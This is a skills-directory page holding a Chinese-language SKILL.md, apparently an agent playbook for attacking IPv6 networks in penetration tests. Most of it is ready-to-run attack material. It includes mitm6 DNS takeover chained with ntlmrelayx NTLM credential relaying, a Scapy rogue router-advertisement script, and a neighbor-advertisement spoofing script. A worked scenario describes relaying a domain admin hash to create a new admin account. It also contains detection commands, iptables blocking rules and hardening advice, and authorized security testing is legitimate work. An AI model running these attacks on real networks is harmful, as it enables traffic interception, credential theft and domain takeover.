L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Productivité · SKILL.md

exploiting-ipv6-vulnerabilities

exploiting-ipv6-vulnerabilities

识别并利用 IPv6 特有漏洞,包括 SLAAC 欺骗、路由器通告泛洪和 IPv6 隧道, 在授权评估中测试双栈安全控制和 IPv6 感知网络防御。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: exploiting-ipv6-vulnerabilities description: > 识别并利用 IPv6 特有漏洞,包括 SLAAC 欺骗、路由器通告泛洪和 IPv6 隧道, 在授权评估中测试双栈安全控制和 IPv6 感知网络防御。 domain: cybersecurity subdomain: network-security tags: [network-security, ipv6, slaac, router-advertisement, dual-stack-security] version: "1.0" author: mahipal license: Apache-2.0

利用 IPv6 漏洞

适用场景

  • 测试双栈(dual-stack)网络是否对 IPv4 和 IPv6 流量实施了一致的安全控制
  • 演示在仅官方支持 IPv4 的网络上,未受管理的 IPv6 带来的风险
  • 利用 SLAAC(无状态地址自动配置)和路由器通告(Router Advertisement)机制,通过 IPv6 实施中间人(MITM)攻击
  • 测试 IPv6 感知防火墙规则以及 IDS/IPS 对 IPv6 特有攻击模式的检测能力
  • 识别 IPv6 隧道协议(6to4、Teredo、ISATAP),这些协议可绕过仅限 IPv4 的安全控制

禁止在以下情况使用:未获书面授权的生产网络、IPv6 中断可能导致安全问题的系统,或针对网络基础设施的拒绝服务攻击。

前置条件

  • 明确 IPv6 测试范围和批准技术的书面授权
  • 已安装 THC-IPv6 工具包、Scapy 和 mitm6 的 Kali Linux
  • 目标网络段上支持 IPv6 的网络接口
  • 了解 IPv6 寻址、SLAAC、NDP 和路由器通告
  • 用于捕获和分析 IPv6 流量的 Wireshark

工作流程

步骤 1:枚举网络上的 IPv6

# 检查本地接口上是否启用了 IPv6
ip -6 addr show

# 使用组播发现本地链路上的 IPv6 主机
ping6 -c 3 ff02::1%eth0
# ff02::1 = 全节点组播地址

# 使用 THC-IPv6 工具包中的 alive6 发现主机
sudo alive6 eth0

# 使用 Nmap 扫描启用 IPv6 的主机
nmap -6 --script ipv6-multicast-mld-list -e eth0
nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0

# 检查网络上的路由器通告
sudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'
# Type 134 = 路由器通告

# 使用 radvdump 捕获现有 RA
sudo radvdump

# 检查 DHCPv6 服务器
sudo dhclient -6 -v eth0 --request-only

步骤 2:使用 mitm6 执行基于 SLAAC 的 MITM 攻击

# mitm6 利用 Windows 主机在看到路由器通告时通过 DHCPv6 请求
# IPv6 配置的默认行为

# 启动 mitm6 成为 IPv6 DNS 服务器
sudo mitm6 -d example.com -i eth0

# mitm6 执行以下操作:
# 1. 发送路由器通告以在受害者上启用 IPv6
# 2. 响应 DHCPv6 请求,将自身指定为 DNS 服务器
# 3. 受害者现在通过 IPv6 向攻击者发送 DNS 查询
# 4. 攻击者可以使用欺骗的 DNS 回复进行响应

# 结合 ntlmrelayx 进行凭据中继
sudo impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot

# 此漏洞利用:
# 1. WPAD(Web 代理自动发现)通过 DNS
# 2. Windows 向 WPAD 代理发送 NTLM 身份验证
# 3. ntlmrelayx 将凭据中继到目标服务器

步骤 3:路由器通告欺骗

#!/usr/bin/env python3
"""用于授权 IPv6 测试的虚假路由器通告。"""

from scapy.all import *
from scapy.layers.inet6 import *

# 构造路由器通告数据包
# 这使攻击者看起来像默认 IPv6 路由器

iface = "eth0"
attacker_mac = get_if_hwaddr(iface)
attacker_ipv6 = get_if_addr6(iface)

ra = (
    Ether(dst="33:33:00:00:00:01") /  # 全节点组播
    IPv6(src=attacker_ipv6, dst="ff02::1") /
    ICMPv6ND_RA(
        routerlifetime=1800,     # 通告作为路由器持续 30 分钟
        prf=1,                   # 高优先级
        M=0,                     # 无托管标志(使用 SLAAC)
        O=1                      # 其他配置通过 DHCPv6(DNS)
    ) /
    ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) /
    ICMPv6NDOptPrefixInfo(
        prefix="2001:db8:dead::",  # 虚假前缀
        prefixlen=64,
        L=1,
        A=1,
        validlifetime=3600,
        preferredlifetime=1800
    ) /
    ICMPv6NDOptRDNSS(
        dns=[attacker_ipv6],  # 攻击者作为 DNS 服务器
        lifetime=1800
    )
)

print(f"[*] 从 {attacker_ipv6} 发送虚假路由器通告")
print(f"[*] 通告前缀 2001:db8:dead::/64")
sendp(ra, iface=iface, count=5, inter=2)
print("[*] RA 数据包已发送。受害者将使用虚假前缀配置 IPv6。")

步骤 4:IPv6 邻居发现攻击

# 邻居通告欺骗(IPv6 中 ARP 欺骗的等价操作)
# 使用 THC-IPv6 的 parasite6 工具
sudo parasite6 eth0

# 或使用 Scapy 构造
python3 << 'PYEOF'
from scapy.all import *
from scapy.layers.inet6 import *

# 欺骗邻居通告以重定向流量
target_ipv6 = "2001:db8::50"    # 受害者 IPv6 地址
gateway_ipv6 = "2001:db8::1"    # 网关 IPv6 地址
attacker_mac = get_if_hwaddr("eth0")

# 告诉受害者我们是网关
na = (
    Ether(dst="33:33:00:00:00:01") /
    IPv6(src=gateway_ipv6, dst="ff02::1") /
    ICMPv6ND_NA(
        tgt=gateway_ipv6,
        R=1, S=0, O=1  # 路由器标志、Override 标志
    ) /
    ICMPv6NDOptDstLLAddr(lladdr=attacker_mac)
)

print("[*] 发送欺骗的邻居通告...")
sendp(na, iface="eth0", count=100, inter=1)
PYEOF

# 使用 ndpmon 检测 NDP 欺骗
sudo ndpmon -i eth0

步骤 5:IPv6 隧道检测与利用

# 检测 Teredo 隧道(IPv6 over UDP 端口 3544)
sudo tshark -i eth0 -Y "udp.port == 3544" -T fields -e ip.src -e ip.dst

# 检测 6to4 隧道(协议 41)
sudo tshark -i eth0 -Y "ip.proto == 41" -T fields -e ip.src -e ip.dst

# 检测 ISATAP 隧道
sudo tshark -i eth0 -Y "ip.proto == 41 and ipv6.dst contains \"::5efe:\"" -c 10

# 扫描启用 Teredo 的主机
nmap -6 -sU -p 3544 --open 10.10.0.0/24

# 测试 IPv6 隧道是否绕过 IPv4 防火墙规则
# 如果允许 Teredo,IPv6 流量可以绕过仅限 IPv4 的防火墙
curl -6 http://[2001:db8::50]:8080/  # 通过 IPv6 隧道访问

# 在防火墙上阻止不需要的 IPv6 隧道
# iptables:阻止协议 41(6to4、ISATAP)和 Teredo
sudo iptables -A INPUT -p 41 -j DROP
sudo iptables -A OUTPUT -p 41 -j DROP
sudo iptables -A INPUT -p udp --dport 3544 -j DROP
sudo iptables -A OUTPUT -p udp --dport 3544 -j DROP

步骤 6:测试 IPv6 防火墙规则并记录

# 验证 ip6tables 规则是否到位
sudo ip6tables -L -n -v

# 测试 IPv6 防火墙是否反映了 IPv4 规则
# 常见疏漏:IPv4 防火墙严格,IPv6 完全开放
nmap -6 -sS -p- <target_ipv6_address>

# 比较 IPv4 和 IPv6 扫描结果
nmap -sS -p 1-1024 10.10.20.10 -oA ipv4_scan
nmap -6 -sS -p 1-1024 2001:db8::10 -oA ipv6_scan
diff <(grep "open" ipv4_scan.nmap) <(grep "open" ipv6_scan.nmap)

# 检查交换机上的 IPv6 RA Guard
# Cisco: show ipv6 snooping policies
# 如果未启用,记录为发现项

# 清理:停止所有 IPv6 攻击工具
sudo killall mitm6 parasite6 2>/dev/null

核心概念

术语定义
SLAAC(无状态地址自动配置)IPv6 机制,主机无需 DHCP 服务器即可从路由器通告自动配置地址,可被虚假 RA 注入利用
路由器通告(RA,Router Advertisement)路由器发出的 ICMPv6 消息,宣布网络前缀、默认网关和 DNS 配置;虚假 RA 可实现 MITM 攻击
NDP(邻居发现协议,Neighbor Discovery Protocol)IPv6 替代 ARP,使用 ICMPv6 进行地址解析、路由器发现和重复地址检测;易受欺骗攻击
mitm6利用 Windows DHCPv6 偏好成为 IPv6 DNS 服务器的工具,可实现 DNS 欺骗和 NTLM 凭据中继
RA Guard交换机级别安全功能,过滤虚假路由器通告,防止未授权主机充当 IPv6 路由器
IPv6 隧道将 IPv6 数据包封装在 IPv4 内(6to4、Teredo、ISATAP),可绕过仅限 IPv4 的安全控制和防火墙

工具与系统

  • mitm6:利用 SLAAC 和 DHCPv6 成为 Windows 主机 DNS 服务器的 IPv6 MITM 工具
  • THC-IPv6 Toolkit:全面的 IPv6 攻击工具包,包括 alive6、parasite6、fake_router6 和泛洪工具
  • Scapy:用于构造自定义 ICMPv6 路由器通告和邻居发现数据包的 Python 数据包操控工具
  • ndpmon:IPv6 邻居发现协议监控器,检测虚假 RA 和 NDP 欺骗
  • Nmap:支持完整 IPv6 的网络扫描器,包括组播发现和 IPv6 特定脚本

常见场景

场景:利用仅使用 IPv4 的企业网络上未受管理的 IPv6

背景:某公司在其企业网络上正式仅使用 IPv4,但 Windows 工作站默认启用了 IPv6。在一次内部渗透测试中,测试人员发现 IPv6 在 VLAN 上处于活动状态,且未部署任何 IPv6 安全控制(RA Guard、IPv6 ACL)。

方法:

  1. 发现所有 Windows 工作站都有链路本地 IPv6 地址,并在监听路由器通告
  2. 运行 mitm6 发送 DHCPv6 响应,成为 VLAN 上所有 Windows 主机的 IPv6 DNS 服务器
  3. 配置 ntlmrelayx 将 WPAD 触发的 NTLM 身份验证中继到域控制器
  4. 5 分钟内,从 12 台工作站捕获并中继 NTLM 凭据,获取对文件共享的访问权限
  5. 成功将域管理员的 NTLM 哈希中继,创建新的域管理员账户
  6. 记录缺乏 IPv6 安全控制使得在不利用任何传统漏洞的情况下实现了完整的域控制
  7. 建议在不需要 IPv6 的地方禁用它、在交换机上部署 RA Guard,并在防火墙上阻止 DHCPv6

注意事项:

  • 向网络泛洪路由器通告可能导致某些设备不稳定
  • mitm6 会影响 VLAN 上所有 Windows 主机,而不仅仅是目标——确保范围涵盖所有潜在受影响主机
  • 某些环境有依赖 IPv6 的服务(SCCM、某些 Azure 服务),当 IPv6 受到干扰时会中断
  • 忘记检查可能提供替代攻击路径的 IPv6 隧道协议

输出格式

## IPv6 安全评估报告

**测试 ID**:IPV6-2024-001
**目标网络**:VLAN 10(10.10.10.0/24,无官方 IPv6)
**评估日期**:2024-03-15

### IPv6 发现

| 发现项 | 详情 |
|--------|------|
| 已启用 IPv6 的主机 | 147/150 台工作站(Windows 默认) |
| 链路本地地址 | 所有已发现主机上均活动 |
| 路由器通告 | 未检测到(无 IPv6 路由器) |
| DHCPv6 服务器 | 不存在 |
| RA Guard | 交换机上未配置 |
| IPv6 防火墙规则 | 无(ip6tables 为空) |

### 攻击结果

| 攻击 | 结果 | 影响 |
|------|------|------|
| mitm6 DNS 接管 | 成功 | 成为 147 台主机的 IPv6 DNS |
| WPAD NTLM 中继 | 成功 | 捕获 23 次 NTLM 身份验证 |
| 域管理员中继 | 成功 | 创建了虚假域管理员账户 |
| IPv6 端口扫描 | 成功 | 所有端口开放(无 ip6tables 规则) |

### 建议
1. 在所有接入层交换机上部署 RA Guard(严重)
2. 配置与 IPv4 防火墙规则匹配的 IPv6 ACL(严重)
3. 在不需要 IPv6 的地方通过组策略禁用 DHCPv6 客户端
4. 在防火墙上阻止 IPv6 隧道协议(6to4、Teredo)
5. 部署 IPv6 感知的 IDS 规则用于 NDP 欺骗检测
Skills enregistrées